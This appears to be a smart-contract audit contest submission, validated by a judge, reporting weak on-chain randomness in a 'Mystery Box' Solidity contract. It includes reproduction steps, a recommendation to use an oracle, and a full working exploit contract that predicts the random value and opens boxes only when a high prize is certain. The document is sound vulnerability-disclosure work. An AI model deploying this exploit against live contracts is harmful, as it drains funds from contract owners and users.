Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Randomness vulnerability leads to unfair winning advantage. Loss of company funds / customer relation integrity.

Summary

The randomValue functionality in the mysterybox.sol can be exploited and weaponized in this configuration. An attacker can create an external contract that will calculate the randomness value and only open a box when the value meets a high winning prize criteria.

Vulnerability Details

Steps to reproduce:

-Deploy mysterbox.sol with 10 ETH
-Change wallet address
-deploy exploit poc
-buy one box from the exploit poc
-continually call play until you get a successful transaction (if the reward rate is too low then it will revert automatically)
this function will also autoclaim your rewards to the contract address

Other functionality:
If you want to ensure the randomness is being calculated properly I included a function called calculate which will show the current calculation when called.

Exploit POC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IMysteryBox{
function buyBox() external payable;
function openBox() external;
function boxesOwned(address _owner) external view returns (uint256);
function claimAllRewards() external;
}
contract Exploit{
IMysteryBox mysterybox;
address payable public owner;
constructor(address _mysteryAddress){
mysterybox = IMysteryBox(_mysteryAddress);
owner = payable(msg.sender);
}
function calculate() public view returns (uint256){
return uint256(keccak256(abi.encodePacked(block.timestamp, address(this)))) % 100;
}
function buy() public payable{
require(msg.sender == owner, "Not The Owner!");
mysterybox.buyBox{value: 0.1 ether}();
}
function playtowin() public payable returns (string memory){
require(msg.sender == owner, "Not The Owner!");
require(mysterybox.boxesOwned(address(this)) > 0, "No Boxes Owned!");
uint256 predictRandom = calculate();
if(predictRandom >= 90){
mysterybox.openBox();
mysterybox.claimAllRewards();
return "Box Opened and ETH Claimed!";
}else{
revert();
}
}
receive() external payable {}
}

Impact

-Unfair winning advantage
-Company loss of contract funds
-Loss of public/customer integrity

Tools Used

Remix IDE Desktop

Recommendations

Use an oracle that fetches a value from an external source instead of calculating randomness on chain.

Updates

Appeal created

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.